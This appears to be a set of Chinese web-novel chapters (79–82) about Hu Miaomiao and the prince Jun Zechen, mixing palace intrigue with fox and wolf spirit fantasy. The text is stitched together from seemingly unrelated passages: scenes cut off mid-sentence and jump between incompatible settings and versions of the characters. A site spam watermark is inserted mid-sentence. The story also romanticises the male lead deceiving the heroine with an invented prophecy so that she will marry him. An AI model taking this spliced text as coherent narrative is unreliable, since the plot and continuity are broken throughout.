王芋儿觉得委屈跑回房间哭起来,一旁的小和尚们满脸懵逼,尴尬的前来制止,“施主,佛门重地,还请不要喧嚣吵闹,院里进贼是我们的疏忽请交给我们处理。” 胡淼淼把老夫人安顿下来,这里有大夫,老夫人只是年纪大了受到惊吓并无大碍! 她这才赶回来处理躺尸的某人。 本来打算亲自审问,却不想一直默不作声的王梦瑶开口,“报官吧……” 胡淼淼有些差异,改变了主意。 “好,那就报官。” 在这之前,胡淼淼简单检查了一下,没有在他身上发现什么线索,既然王梦瑶想把人送到官府,肯定有自己的目的…就由她去说不定还能钓上来一条大鱼。 今夜先把人交给和尚们保管,第二天一早,成安庙派人先走一步报了官,胡家众人启程回京城。 回去的路上胡淼淼依旧闷不吭声看古代话本。 故事已经看到男主恢复记忆找回身份,发现女主对自己和以前不一样了。 男主是当朝王爷,恢复身份后不再只跟着女主身边,他有很多事情要做,杀掉所有想要谋害他的人,夺取皇位。 可是女主被他的残忍手段吓到了,连夜卷铺盖走人,男主那个狗男人失去后才知道珍惜,发现女主对他重要性,疯狂找女主下落然后不顾女主意愿强取豪夺! 或许因为开局故事和阿冤相似,胡淼淼狠狠带入了,开始想阿冤的身份,将来恢复记忆他们会如何。 君泽琛会不会和故事的主人公一样,不顾女主意愿…… 脑海中出现一双湿漉漉委屈的狐狸眼,胡淼淼笑了。 先不是阿冤失忆后的性格都比话本里的讨喜,就说她。 敢跟她玩强取豪夺除非她愿意,不然对方就算不死也得脱层皮。 马车轻晃,光影忽明忽暗,胡淼淼没耐心继续看剧情扯皮,干脆跳过强取豪夺的感情戏。 男主的属下苦苦哀求:“主子,天涯何处无芳草,你不要再折磨自己了。” 这段讲述的是男主对女主强取豪夺之后被女主捅了一刀,他不顾重伤日日买醉,谁来了都不听劝,试图等女主心软。 所以,属下的劝阻,男主直接挥开属下的手,大骂了一声滚,一酒坛子砸过去…… “嘭——” “噗通——” 赤澄在树丛中被薅出来,狠狠摔倒在地,整个人处于蒙圈中,“主……公子,您怎么不跟着了?” 他跟了他一晚上,今儿一早还没等上路,就被发现了。 青面獠牙的面具在阳光下闪着冰冷的光,仅露在外面的眼睛瞳仁浅淡,仿佛没有感情的冰面,冷的让赤澄发慌。 这种眼神,赤澄十分确定就是主子,只是对方一直没摘面具,他不敢贸然开口,万一主子有什么重要的事情做被他搅合了,他绝对没好果子吃。 不知是不是赤澄的错觉,总感觉说完这句话后,主子面具下的眼神更冷了。 “公子?” 君泽琛心情不太好,这个阴沟里的老鼠跟了他怎么久,总得付出点代价。 他不问为何跟着自己 ,开口的第一句话是,“我没马。” 赤澄点头,听听这声音是主子没错了,等等,主子说什么? 没马? 他这一刻脑子终于开窍,连忙奉献自己的马。 “公子您放心追,我给您断后。” 这人有病。 君泽琛古怪地看他一眼,警告道:“我不管你有什么目的,别再跟着我,不然弄死你。” 赤澄:“???” 这一刻,那颗忠心为主的心稀碎。 他没有犯错,还在关键的时刻奉上马匹助主子完成任务,为何主子要弄死他? 警告过后君泽琛快速上马追着马车而去,遥遥跟在后面,一路上他想了很多,不管怎么说是她先招惹自己的,成不成婚她决定不了。 其次,就算她只是喜欢他的皮囊,不是真心喜欢他这个人也无所谓。 他偏偏皮囊好看,蛊得住她。 常言道,越是得不到就越好。 他有很多办法让对方一直把心思放在自己身上…… 当然了,小骗子是要得收拾的,君泽琛臭着脸,突然发现前方官道上的马车停了,竟然有一群黑衣人围了上来。 苏山灵在被送入狼族之前,见过青丘大祭司一面。 她给了她一块镜子碎片。 说如果运气好在狼族见到胡淼淼,就可以动用上面的力量来到胡淼淼出生之时,在她妖丹初次成型后,掠夺妖丹。 一个时期不能出现两个自己,她只能用豺身混在狐群,通过浮生镜的力量接触狐狸们,可是不知怎么她最近的体力越来越差。 再不想办法拿妖丹脱离浮生镜,她会遭到浮生镜反噬。 第 79 章 第 79 章 有苏有一魅果提升妖术,青丘有一至宝,名曰浮生镜。 这是君泽琛在狐族探查的结果。 浮生镜可以动用秘术穿越过去未来,更能通过它改变一段历史,传言是狐族的神留下的,因为太过逆天动用浮生镜需要付出燃烧肉身和灵魂的代价。 如果君泽琛没猜错,必定是青丘的狐狸和有苏的狐狸合作,将浮生镜给了有苏王女。 只是浮生镜的强弱根据使用人的力量来断定,以苏山灵的力量还不足以支撑浮生镜。 这一点,君泽琛还没有查出来,但可以通过浮生镜的波动来推断 ,苏山灵的时日不多了。 胡淼淼的身体那日受到了重创,加上本身就弱,所以现在根本出不了门,从来琛王府后,就一直霸占在主卧,而琛王则可怜兮兮地收拾收拾东西去了隔壁。 当然了,这些胡淼淼本人是不知道的。 此时,胡淼淼正坐在室内的雕花椅子上,对面坐着面无表情的琛王。 琛王在进屋的时候,带着寒气的狐裘被放在了门口,里面穿着一身黑色便服,却藏不住那结实而紧绷的肌肉。 胡淼淼并没有注意到,琛王握着的手已经快出汗了。 室内就他们两个,孤男寡女的,对面又是他暗恋的许久的女子…… 就…… 比面对老丈人还紧张。 碳火少的噼里啪啦响,君泽琛心扑通扑通跳,直到胡淼淼喉咙发痒,咳嗽一声,他才倏然抬头:“你……怎么了?” 他下意识抬手扶住了她的纤细的胳膊,另一只手刚要去顺后背,就见胡淼淼摇头:“我没事,习惯了。” 她的声音细弱,像是温暖的微风,听起来就让人舒坦,至少君泽琛是这么觉得的,但更多的是心痛。 “手,还疼吗?” 近乡情怯大概就是如此,在朝廷中巧舌如簧,嘴和抹毒了似的琛王殿下,如今竟像是只会尬聊,相亲不知道应该说什么,深怕下一秒就引人反感的毛头小伙一样,要是被其他人看见,铁定以为琛王被夺舍了。 “已经好多了,多谢王爷关心,我……臣女有事情想和王爷谈谈。” 胡淼淼垂眸,长睫轻颤,视线不自然的落在那只手上,她常年体寒,而那只手的温度却火热的要把她融化…… 察觉到她的目光,君泽琛倏然手上背到身后,不动声色拉开距离坐好。 “你不用这般生疏,有什么事说就好。” 只要不是离开我,就算是死,我也会为你办到。 君泽琛眼神黑沉,看不见的情绪在翻滚…… “上次王爷说救我是有目的的,臣女想问是什么,您对臣女有恩,臣女自当报答。” 以身相许可好? 君泽琛这句话差点脱口而提出,好在被他及时制止,他拿起桌案的建盏,假借喝茶到底动作,掩藏自己的激动,轻咳一声:“哎,实不相瞒,我凶名在外,你是知道的。” 胡淼淼微愣:“嗯……”谁都没想到琛王能把殿上揍人说的理所应当。 然而,理所应当还在后面,只听那厮又道:“况且,本王并没下重手,不然他岂能站起来?” 不知为何,皇上从他语气中有一丝遗憾? 他气的坐在了龙椅上一拍龙案。 “当众殴打皇子,琛王好大的官威,即日起到年关,琛王伤势没好,就好好休养吧。” 果然皇上是要夺权了,可琛王又岂是善茬? 正在众人以为琛王要发疯之际,那疯子突然笑了,他长臂一伸弯了弯腰:“多谢皇上赏识,臣弟告退。” 然后就利落的退场了,走的干脆潇洒又迷人? 皇上:“???” 众人:“……” 为什么感觉有哪里不对劲儿…… 琛王脑子让驴踢了?回去休养不就等于不能过问朝廷之事了吗? 他甘愿放权? 众人百思不得其解,不过早朝耽搁那么久,还是上早朝要紧,同样的,君子华被打伤了,模样有些狼狈,皇上也让他提前回府了。 可是未曾想到,回府的路上三王爷就遇见了刺客,硬生生摔断了腿,当然,那是后话。 与此同时,君泽琛出了宫后非常之雀跃,原因无他,家有美娇娘,谁踏马管正事? 更何况,这破皇宫前世都被他踏平了,君泽琛这一世,一心只想守着老婆,至于那些不长眼的,等玩够了就算铲平。 “其实这都不是我想的,是因为我自小生了病一直不曾治好,发病的时候比较恐怖,前些日子认识一位赠人,他说需要与我八字相合之人冲喜才能有治愈的可能,未经你同意实属无奈……” 胡淼淼显然没想到堂堂一位王爷竟会如此…… 她没说话,而是真正认真注视这位琛王了,却惊讶的发现,确实如琛王所说,他似乎真的有与他人不同的地方。 琛王的细胞,比其他人分裂的更快,衰竭的也越快! 如果非要形容的话,其他人的像是细水长流的小河,而他就像是即将喷发的岩浆,随时都可能炸裂。 这种情况,她似乎见过…… 好像之前君子华身上也出现过,难道皇家的人都有什么病? 短暂的检查之间,胡淼淼又反应过来他这话和自己有关。 她抿了抿嘴角:“王爷的意思是,臣女就是八字相合之人?” 冲喜岂不是要嫁给他? 或许是因为婚礼上发生的事情,胡淼淼对于嫁人不嫁人已经的感情已经淡了,所以她现在的心情,并没多大动荡,平静的可怕。 君泽琛不动声色:“是,你放心,不经过你同意我不会做什么的,君子华的那副德行你看见了,根本就不是值得托付的人,我可以给你想要的一切,不会伤害你。” 僧人,冲喜啥的,都是他编的。 他不会放她走,当然要为此编个理由,总不能让她没名没分的在府上,他也舍不得。 时间久了,他们也会相爱的吧? 这样…… 结局是不是就不一样了。另一边,胡淼淼他们已经回房间了,阿冤正在可怜兮兮的挨训。 “你一个大男人,自己小身板不行,非要离他那么近?腿会动吧?眼睛、会看吧?躲开啊!” 胡淼淼难得板着脸,狠狠教训柔弱未婚夫。 刚才检查过了,阿冤看起来羸弱,但还是很抗揍的,腿上一点伤都没有,肌肉也很结实, 她捏了一把,杠杠硬,暗自惊疑,失忆之前的阿冤好像是练家子,梁昌荣那白斩鸡的攻击都躲不过?不是说就算失忆,身体也会残留本能的吗? 君泽琛被她摸的浑身一僵,不动声色收回腿,默默用长衫盖上,可怜兮兮的低头:“之之,我错了,没想到他那么野蛮,上来就打人,你别生气,下次我躲远点,你打了他不会惹麻烦吧。” 句里行间都不忘给那位上眼药。 胡淼淼气笑了。 听闻每个人都会像一个小动物,眼前这个是狐狸没跑了,在外面咬人输了回来找主人,还知道抖小机灵。 “是是是,他野蛮,就你体贴,惹什么麻烦胡家我说的算,说好了下次躲远点不然我可不管你,早点睡,明天我还要去跟他们去成安庙呢。”她脱下外套打算上床睡觉。 话音刚落,又看见他眼巴巴盯着自己看,没动弹。 胡淼淼动作一顿:“怎么了?” 阿冤默不作声,乖乖的给她让位置 ,委委屈屈的好像小媳妇儿。 男人心海底针。 胡淼淼在心里啧了一声,躺下睡觉。 困了,明天再哄。 胡淼淼不语,君泽琛心中忐忑:“你也可以考虑考虑,不用急,毕竟是终身大事,而且我会答应你,你进府后,绝不对有其他女人打搅你,如果……” “好。” “如果你还是……嗯?”君泽琛鹰眸一亮,反应过来之际薄唇控制不住地咧开,笑的有些傻。 “但拜堂我的身体怕是坚持不了……” 胡淼淼想,这辈子能活着就好,嫁给谁无所谓,而且对方确实救了自己,如果不是琛王,她的下场还不知道会怎样呢。 既然他觉得自己能给他带来健康,就依他吧。 至于君子华的事,和她长得一模一样的女人,她会一一讨回来。 得到了胡淼淼的同意,君泽琛觉得自己仿佛在做梦,整个人都飘了,虽然遗憾拜不了堂,但至少人是他的了。 等他们相爱后,完全可以补给她。 整个王府都觉得王爷从胡姑娘房间出来后,人就不一样了,走路姿势不稳下盘虚浮,以往阴晴不定的脸上挂着笑,傻兮兮的嘴都合不拢了。 还有那双眼睛亮的吓人,就和偷了腥的猫似的,明明是冬日,他身边却仿佛春暖花开了。 刘管家眯了眯眼凑了过去:“王爷,胡姑娘看起来虚弱,手上还有伤,经不起您这般折腾,还是节制一点为好。” 正在想好事的君泽琛起初没听懂,反应过来之后直接一脚踹过去:“滚!” 刘管家一个五十多岁的人,动作却极为娴熟地避开这一脚,猫着腰:\"好好好,老奴这就走,王爷注意身体啊。\" 君泽琛脸一黑耳朵却微微泛红,别扭道:“回来,你觉得,王妃会喜欢什么?” 王妃都叫上了? 这是不是快了点? 刘管家瞠目结舌:“……女人不就喜欢首饰衣服什么的吗?” 君泽琛闻言若有所思了起来。 刚敲醒容易上当受骗的傻狐狸,他又要敲醒傻狼吗? 如果狼不是以前的他,灰猫一定会让狼自生自灭。 但他怕傻狼影响到未来。 他表情复杂,狼却看懂了。 狼顿感不耐,“快滚,滚远点,本王不想看见你这张嘴脸。” 狼摸清规律,只有这只蠢猫走了,他可爱的小猫才会回来。 可惜,灰猫“刚死”没地方去,堂而皇之抢走狼的猫窝,并道:“给我躺会。” 狼:“?”是你的窝吗你就躺? 第 80 章 第 80 章 胡淼淼发现,她的猫窝被什么东西霸占了。 时间之力动荡频繁,她就算再迟钝也知道哪里发生了问题,狼王有和她讲述她身上含有时间法则之力。 她很清楚自己只会幻境和魅术以及一些水方面的术法,时间之力什么的,君泽琛没教 。 狐狸又不傻,很快就联想到苏山灵身上。 苏山灵濒临死亡的力量把狐炸到十几年前,她能看见小时候的自己,也能看见大龄老狼。 十几年前的她,大好幼年年华。 十几年前的他,依旧老狼一只。 行叭,这些狐狸都不和老狼计较。 狐狸只想知道,老狼为什么私藏其他猫咪? 没错,她在她的窝里面闻到了其他猫味道,从幼年的自己那里回来,她巡视领地,大猫窝被炸,小猫窝又有其他猫的气息,忍不了一点! 大猫窝在建设,她前爪踩在小猫窝上对狼控诉,“这是什么?为什么会有猫毛?” 人形的狼那么大一只蹲在猫窝前,心里猛骂大灰猫,面上却一片淡定,修长的手指摘下一根毛毛,顺手丢掉,“大风刮来的,我这里除了你,怎么还会有其他猫呢?” “谁家猫毛是大风刮来的?”狐猫用一种“你当狐很好骗吗”的表情,咄咄逼狼,“说,你是不是背着我养猫了?” 狼妖在心里反问,怎么在猫面前狼一点信誉都没有呢? 他将炸毛的猫团子抱怀里哄,各种顺毛之后,狐猫勉为其难原谅他。 然后没过两天她从小狐狸那边回来,再次炸毛。 “君泽琛,你给我解释解释,这里为什么还有猫毛?” 刚建立好的宫殿又塌了,君泽琛从宫殿里面掏出猫窝时候有看,并没有猫毛啊。 胡淼淼鼓起勇气,在君泽琛浑身僵硬之际,蜻蜓点水落在他唇上。 只不过之后她就不知道该怎么来了,想着这就是亲·吻吧? 然后呢? 应该完事了。 君泽琛下意识环住她,往上提了提,电光火石之间某些小册子开车剧情集体窜入他脑海中。 他懂了! 绝对不能放过这个转折机会,当下他就毫不客气把即将退场的女人抱回来,二人之间传来低低的呢喃:“接下来交给我。” “什么?”震惊! 皇上已经钦点太傅孙女冯知画为三王妃,可还没定下日子 ,十日后三王爷竟然要以正妃之礼迎娶一个不知出处的女人为侧妃? 这不是当堂打冯太傅的脸吗? 三王爷糊涂啊! 得到消息后,今儿一早,冯太傅就冷着脸,奏了三王爷一本。 他是朝中老臣,虽没什么实权,可身为帝师,又提拔不少文官,说是文臣之首也不为过。 有他带头,当然不少人跟着复议。 一大早上,朝堂上就翻天了,三王爷仅仅因为娶一个女子,便被丢进了油锅不停翻炒。 这么多文臣念叨,皇上不免有些头疼,冷着脸训斥一番,这次君子华却没怂,以君子覆水难收为由,正面刚。 君子华沉着脸,他想,自己堂堂王爷,难道还娶不了心爱的女人吗? 更何况还是个侧妃而已。 议论声在他耳边嗡嗡作响,君子华却想着床笫之间女人梨花带雨的脸庞,他想着,既然要了人家,就要负责到底,不能再像往日那般失约了。 于是,不管众人怎么呵斥,君子华都站在原地,表情坚毅,一副痴心不悔的痴情模样。 “啧~冯老头,当初我要弄死那女人你非不让,现在好了,那女人欺负到你们头上,知道反悔了?用不用本王帮你去弄死?” 场面寂静一瞬,众人看向某处。 朝堂唯二坐着的那位,终于肯在那本不知道是什么的书上转移了注意力。 今日琛王格外乖巧,来后就坐在椅子上拿本书老僧入定,仿佛身处世外和他们不是一类人似的。 没他作妖,众人可算放心大胆的吵架了。 可眼下这位不出声则已,一出声就要弄死个人呐! “你敢!”君子华当下怒瞪他。 这个死男人,总是和他作对,本来自信满满的君子华,见君泽琛要插手,心中多了一抹不好的预感。 冯太傅一届文人,被噎了一下,可看了君子华那么维护那女人,竟然莫名觉得琛王说的对! 他:“……” 意识到某种不好的想法,冯太傅忙收琛心绪,同样跟着吹胡子瞪眼,差点着了琛王道。 君泽琛说了一句话,便见不论是谁,脸上都写着“你卑鄙,你狡诈,你狂妄”的几个大字。 他有些无辜,用书敲了敲座椅扶手,坐在那和大爷似的抬了抬下巴:“子华,怎么和皇叔说话呢,看看,那女人还没进门呢,就敢顶撞皇叔,等人进门了,宠妾灭妻,沉迷女色,荒废人生不是梦,忠言逆耳,你还年轻把握不住。” 君子华:“!” 妈的,他就娶个女人为侧妃,怎么就那么多事! 他不去看君泽琛,沉声对上首道:“父皇误听谗言,儿臣担保,绝对不会出现皇叔所说之事。” “呵~皇侄这话说的,敢情我们满朝文武都是谗言,就你一个忠言?” 在皇上说话之前,某人又慢悠悠把话头抢了过来。 男人剑眉飞扬,张狂而不讲理,说话呛死人,三言两语就引起了其他人对君子华怒目而视。 之前还觉得三王爷是做储君的料,今日一看,为了个女人,难成大器。 “好了!” 胡淼淼一愣,还不等她多想他话语中的意思,就被夺走了呼吸,侵/略了每个领地,,沾染上他所有气息。 这种感觉,是胡淼淼十几年来都不曾感受过的。 曾经她与君子华在一起,恪守规矩,连手都不曾拉过,而现在,君泽琛打开了她新世界大门。 原来,还可以这样…… 她迷迷糊糊想着,君泽琛察觉到她不专心,舌、尖一挑,就把人的理智拽了回来,彻底沉溺在他制造的海洋之中,跟着船桨不断漂泊,船桨滑到哪,她便不受控制跟着翻滚,这时一阵巨浪袭来,胡淼淼逐渐失去方向,只能无助抓住君泽琛衣服。 饶是如此,也还是跟不上节奏,空气越来越少,她就像是“溺水的鱼”,随便被翻炒。 终究是体力最先不透支,胡淼淼脑中一阵阵晕眩,下一秒就失去的意识。 君泽琛正在一片蜜蜂中夺蜜,蜂蜜甜的让他y罢不能,整个人忘乎所以,这一刻,前世今生种种过往,都变成一种等待与执着。 一切都值得。 可还不够,时间越久他越口干舌燥,甚是有点控制不住自己,突然怀中一软,他一愣,睁开眼睛一看,女人脸色红润,双目却紧闭,俨然昏了过去。 “沐七!叫沐七!” 君泽琛脸色骤变,把人放在床上躺好,对外喊着沐七。 房外巡逻的侍卫顿时觉得事情不对,以最快的速度去找沐七。 刚要睡觉的沐七:“……” 他衣服都没来得及穿,就被杀千刀的侍卫揪着里衣跑了出去,到了主卧推门进去,就看见自家王爷一脸阴郁,王妃躺在床上昏迷不醒? 这是? 君泽琛大步把他揪到床边一按:“别磨蹭,快救人。” 沐七:“……” 他真想替自己的膝盖问一问:“王爷你礼貌吗?” 特么他进来话没说句,就被迫跪地把脉? 算了,看在王妃无辜的份上,赶紧救人吧。 检查结果却让沐七一言难尽:“王爷……” “说?”君泽琛死死盯着他,好像但凡他说出个绝症,就弄死他。 沐七:“……那个啥,暂时呼吸不畅导致的短暂昏厥,咱……” 他扫一眼王妃的嘴角,隐晦道:“王妃没事,一会就醒来,咱节制点。” 君泽琛:“……” 他道:“滚吧!衣衫不整别让她看见你。” 沐七:“……” 君泽琛懒得理会沐七咋想,派若冰打了热水,他浸湿毛巾坐在床边,轻轻敷了敷胡淼淼的嘴角,一向张狂的脸上难免有些心虚…… 渴望了两世的人,第一次这么接触,多多少少有点控制不住自己个儿…… 可他万万没想到单单亲了一下,人就呼吸困难了…… 早知这样,他就克制些。 看看,嘴……肿了,醒来不会疼吧? 一时之间,琛王大人开始忧心忡忡,指尖又心疼的碰了碰,最后像是想到了什么,低头吹了吹…… 恰在此时,胡淼淼睫毛轻颤,睁开了眼睛,正好与那张低着头的脸四目相对。 胡淼淼:“?”我都晕了,你还来? 君泽琛:“……”我不是,我没有,快听我解释…… 合着是因为疯狗就是他自己? 狐狸那个愁啊,她那万能的夫君以前不这样,莫不是十几年前有的隐疾之后治好了? 眼见狼越来越离谱,胡淼淼别别扭扭开口:“能不打了吗?” 说实话,狐有点害怕,她害怕狗疯起来连她一起打。 好在,她一句话过后,黑狼停滞了自虐倾向,那么一大只狼麻溜地滚到她身边,啪嗒一下趴下来,往日幽深沉稳的绿眸此时瞳孔极大,炯炯有神,用一种狐不懂的眼神看她。 狼有些诡异。 小狐猫的毛从头到尾炸了一层,狼抬起爪子。 不是,真要打狐猫吗? 胡淼淼一缩脑袋,双爪抱头,再用三条大尾巴把自己团成一个毛球,并大声喊:“君泽琛,你敢打我,我就……我就离家出走。” 狐被狼的反常吓哭,喊得超大声。 世人常说,家暴有第一次就有第二次,以前夫君凶是凶了点,总是拍狐屁股,但除了榻上之事,从没有对狐狸动过粗。 曾经,他连洞房夜都怕弄疼她,现在都要打狐了。 狐抱紧弱小的自己,寻思他要打狐该怎么办。 这夫君还能要吗? 80-90 第 81 章 第 81 章 狼爪落下,却并没有打狐猫,而是吧嗒在猫的脑袋上,轻轻揉了揉。 “吓到你了吧?” 现在是灰猫掌控身体,他的声音刻意压低,低沉好听。 听得黑狼一阵牙酸,“别用你的脏爪碰我的猫。” 夹夹夹,黑狼第一次知道自己的嗓子能夹成这样,都快夹冒烟了。 “谁的爪都一样。”灰猫的气场明显弱了几分。 直到第二天早上,收拾东西准备出发的胡淼淼,才知道某人为什么委屈。 “你也要去?” 君泽琛点头,目光幽幽盯着她看。 那眼神,说是被抛妻弃子了都不为过。 胡淼淼眯起眼睛不忍直视,“你去干嘛,要不是祖母总派人烦我,我都不去,你若是再被人欺负了,还得我帮你收拾烂摊子,乖乖在家里等我,回头我给你带礼物。” 一听礼物,男人沉吟几秒,勉为其难的点头同意了。 胡府门口,众人已经等待一段时间,王芋儿母女脸色有点憔悴,看向胡淼淼的眼神也十分诡异。 而另一边胡海香的眼神就明目张胆多了,如果不是老夫人在场,她恨不得把胡淼淼生吞活剥。 胡淼淼倒是无所谓,被他们看上两眼又不会少一块肉。直接上马车,开摆! 去成安寺需要两个时辰,冤种美人贴心,给她准备了好几样糕点,换着吃不会腻味,还有夏小荷给她出去买的话本路上不会太孤单… 如今出行比胡淼淼刚回来那会要方便很多。 外面到处巡逻的赤卫队已经撤回,改成秘密巡视。 国已无君多日,三皇子却迟迟不肯登机,似等待什么。 各方势力虽然蠢蠢欲动,但多少有所顾虑,京城恢复平静。 胡淼淼特意靠着车内,啃口蜜仁糕翻开了手中的书籍。 古代的话本和现代有几分出入,更多的是文绉绉和狗血。 以前胡淼淼在末世没时间浪费,所以看也是一目十行,挑重要内容看。 当时的她没想到有一天自己会拿来打发时间。 胡淼淼看着来了兴致。赤澄傻眼:“主……主子啊!” 赤澄一直认为眼前这位是主子 ,可对方怎么一副不认识他的样子? 之前还说要弄死他? 难不成真的认错人了?处理那些人花费不少时间,所以君泽琛没来得及回胡府。 他离开那么久失踪的消息人尽皆知,若好端端回去肯定会有人怀疑,最好是捏造一个理由…… 反正小骗子骗他已经不是一两次了,若是能借此机会让她知道他的重要性,倒贴过去她肯定不知珍惜。 君泽琛显然不知道此时自己的想法有多奇葩,疯狂自我物化,以至于回来准备跟主子大干一票的赤澄傻傻地杵在胡府门口,满脸纠结。 搞不清楚主子为什么换了一件新衣服还弄得那么狼狈,新换的衣服撕了不浪费吗? 不知道的还以为被人揍了。 还带着他来这里…… 胡府,京城很难搞的一个大户人家,有钱到朝堂那些人都眼馋想要占为己有。 不过这家主事儿的很狡猾根本不给朝堂留下把柄,想抄家充盈国库都难。 难不成…… 赤澄懂了。 如今朝堂动荡结束国库空虚,主子是想亲自打入胡府内部。 那么大的一个胡家就不信没有腌臜之事,只要查出来对方用了非法手段,他们可名正言顺一网打尽! 不过主子想干坏事……呸,想干大事从来不走寻常路,更不会委屈自己,什么时候在乎过名正不正? “听好了。” 赤澄腰板笔直,“属下在。” “小点声。”君泽琛有些嫌弃,冷冷地警告,“听好了一会机灵点,我说什么就是什么,统一一下口供。” “啊?”赤澄很茫然,统一什么口供? “一会我说什么你只管配合就是了,这点事若是办不好你就可以滚了。还有,不要在别人面前叫我主子,装作今天刚认识的,知道吗?” 赤澄:“?” 很快 ,胡府内传来一阵脚步声,刚还冷声警告赤澄的男人瞬间向他倾倒下来,吓了他一跳,正要张口叫主子冷不丁对上男人警告的视线,忽略称呼,担心地开口,“您怎么了?” “阿冤!” 熟悉的声音由远及近,君泽琛阴冷的视线肉眼可见地柔和下来,眼尾说红就红,浅色的瞳仁犹如冰晶,眨一下就能掐出水。 扶住他的赤澄:“???” 他大为震惊,这是他主子? “在不影响您大计的情况下,能摘下面具吗?”赤澄以为他戴面具是有大事要隐瞒身份。 如今林间就他们两个,刺客们被套上了麻袋看不见,没什么影响吧? 君泽琛不明白他说的什么大计,坐在马背上打量他一会 ,抬手摘下了面具,露出那张昳丽的脸,就是神情有点不耐烦,平日里在胡府的温顺被阴霾所取代。 上挑的眼尾邪肆不羁,依旧妖娆却跟淬毒了似得让人不敢直视。 换作赤卫队的其他人早就把脑袋埋地上磕头了,但是赤澄天生少根筋,还兴奋道:“对对对,主子,您这些天去哪了?这些人要押回刑部吗?” 刑部…… 君泽琛眼眸一闪,感觉隐约似乎有些印象,黑暗的牢笼之中,一声声憎恶的谩骂。 “君泽琛,你这个卑贱的贱种!” “早就说了妖妃的血脉留不到,只会滋生祸端,杀了他!” “先关注,等陛下确认了血脉自然会直接处死……” 脑海中传来刺痛君泽琛攥紧缰绳,眼底的瞳色越来越重,好似卷入了深琛。 现在的他宛如河中清澈的水,倒上了浓墨,瞬间晕染开来。 “主子,你怎么了?” 平静的水波瞬间炸开,男人睁开了眼睛,瞳仁逐渐聚焦。 “赤卫队…” 一声轻喃,无声匿迹于口中,君泽琛好像想起了小时候的一段往事,可是那只是小时候,后面的不论怎么想都想不起来,隔了一层壁垒只打开冰山一角。 当他再次垂眸看向赤澄的时候,眼神已经变了。 他知道自己的身份,眼前这个傻子说是他属下,不似作假。 纵然如此,他依旧伪装成没失忆的样子,从怀里掏出一块牌子,丢过去。 “应该跟这个有关,给我好好查查。” 距离主子失踪已经过去了几个月,赤澄激动地把东西揣回怀里,然后小心翼翼道:“主子,那我现在就把人带回去,然后通知一声他们您回来了。” “不必,你派人审问他们为何袭击胡府,然后我另外有事要你做。”记忆尚未明确,糊弄傻子还行,其他人君泽琛并不放心。 更何况,眼下有更重要的事情要做。 不成亲是吧?镇北王府—— 镇北王君宏,是一个特殊的存在,他和先皇其他血缘亲王不同。 曾经无数次与先皇出生入死,参与过夺嫡,先皇登基腹背受敌,内忧外患,他处理朝政分不出精力,对抗敌国全靠当时的君将军夫妇,只可惜一场战役君夫人落入敌手,遭受不幸,先皇自知亏欠于他良多,给予镇北王封号,手掌生杀大权。 那时候,君世子才几岁。 如今先皇驾崩,朝中人又起了其他心思,小皇帝又怎能独当一面? 登基之时,亲王胡琛试图谋反,镇北王以一己之力拔除其党羽,压入大理寺听候发落。 看过《被反派弄死后我又重生了》原著的胡淼淼,当初书里除了反派,最佩服的便是他。 独属于宫中的马车缓缓从街道驶过,稳稳当当穿过熙熙攘攘的人群,停在镇北王府门前。 一身白衣的女子掀开车帘,目光落在上方牌匾上,女人长相精致无双,黛眉如画,眼眸漂亮的犹如猫儿,举手投足之间都散发着“姐很高贵”的气场。 然而谁又知道,她内心有多么忐忑呢? 哎~ 镇北王对朝廷那叫一个忠心不二,可惜有个脱缰的野马儿子不听话,造反和玩一样,回想起原著镇北王因为儿子造反气吐血的场景,她忍不住同情镇北王一秒。 等等…… 同情个鬼,人家儿子造反,他就是皇帝的老子,再怎么说君泽琛也不会把他怎么样,问题是她的头盖骨…… 嘤~ 她有什么资格同情别人,还是同情同情自己个儿头盖骨吧。 胡淼淼仿佛看见自家头盖骨唱“再见了妈妈,今晚我就要去远航” 她:“……”唱得好,下次不许再唱了,脑壳疼。 纠结几秒,胡淼淼从马车上下来,白色长袍一掀,她优雅的落地,整理整理“遗容”,余光扫向翠花:“酸菜啊,礼物带上,我们走。” 翠花:“……”她真不叫酸菜。 胡淼淼说完,便迈着猫步走到门口,刚走到守门侍卫面前,她笑容僵硬在脸上。 小骗子! 男人冷冷地笑了。 赤澄无比熟悉这个笑,更激动了,就说主子不可能那么轻易失踪,一定是借着上次的机会去办其他事,看这情况是打算收网了。 而他是第一个知道的! 一种被主子信任感油然而生,夭吾贰貳七五儿爸一每日更新最新完结文赤澄收好令牌,抄起麻袋,丢上自己新买的马雄赳赳气昂昂离开。 君泽琛:“……”有点不太靠谱…… 或许夏小荷是为了更加贴合他们的现状买的这本,故事的开始是女主救回身受重伤的男主,巧了、男主也失忆了,失忆的男主保持着警觉,醒来第一反应就是掐住女主的脖子,质问女主是谁有什么目的。 女主很善良的小姑娘差点被吓破胆,委委屈屈说自己救了他,男主将信将疑,依旧对女主不太友善。 胡淼淼看到这觉得,女主脾气就是太好了,应该反手给男主两巴掌。 这么一对比,胡淼淼发现自家狐狸比这只白眼狼强多了。 同样是失忆,刚醒来的狐狸就好像一张白纸随便她拿捏。 但凡换个性格,胡淼淼都不会把人带到胡府养着。 然而此时的胡淼淼并不知道,在他们出府不久后,她所认为乖巧的狐狸男,回房间之时听到路边下人的谈话。 “老夫人经常去那座庙,听闻挺灵验的,这年轻的公子小姐们,每逢过节都会去那里求个姻缘,杨家的小姐你知道吧?缘分来了谁都挡不住,她就是在那里遇见了现在的夫君,夫君还是个当官的,现在三年抱俩了,夫妻俩恩爱有加…” “那个私生女都找到夫君了,至少表少爷家里也有点钱,咱们家小姐难不成真要嫁给那个来路不明的男人?” 林荫小路旁,如松如竹的身影直立在那里,整个人笼罩在阴影之下,昳丽的容颜阴沉可怕,宛若山间噬人心魄的妖魅,一双眼眸就那么静静看着他们几个丫鬟,诡异的浅瞳,好似冰冷的毒蛇俯视猎物,一眼望去,心里发凉。 好在,这种目光并没持续多久。对方开口,“马房在哪?” 丫鬟们一激灵,颤抖着手指路,君泽琛冷冷看了他们一眼,没说话,回房间换了一件衣服,奔马房而去。 按照她现在的身体状态,根本扛不住狐族的摧残。 不行,她得快点想办法。 正在此时,空间法则之力好巧不巧启动,她眼睛一亮,爪子抓住小狐狸的爪,试图将她一起带走。 然而,小狐狸身上的吸引力倏然变强,如同深海的漩涡瞬间将她吸入。 与此同时,遍地血腥的战场,君泽琛似有所感地抬头,空间波动过后,那只蓝白色的小猫没有回来。 第 82 章 第 82 章 同一时间不可能出现两个相同的人,如果在那个时空有另一个自己,那么被卷入时空的人会以另一种方式才能出现。 君泽琛是,胡淼淼是,苏山灵亦然。 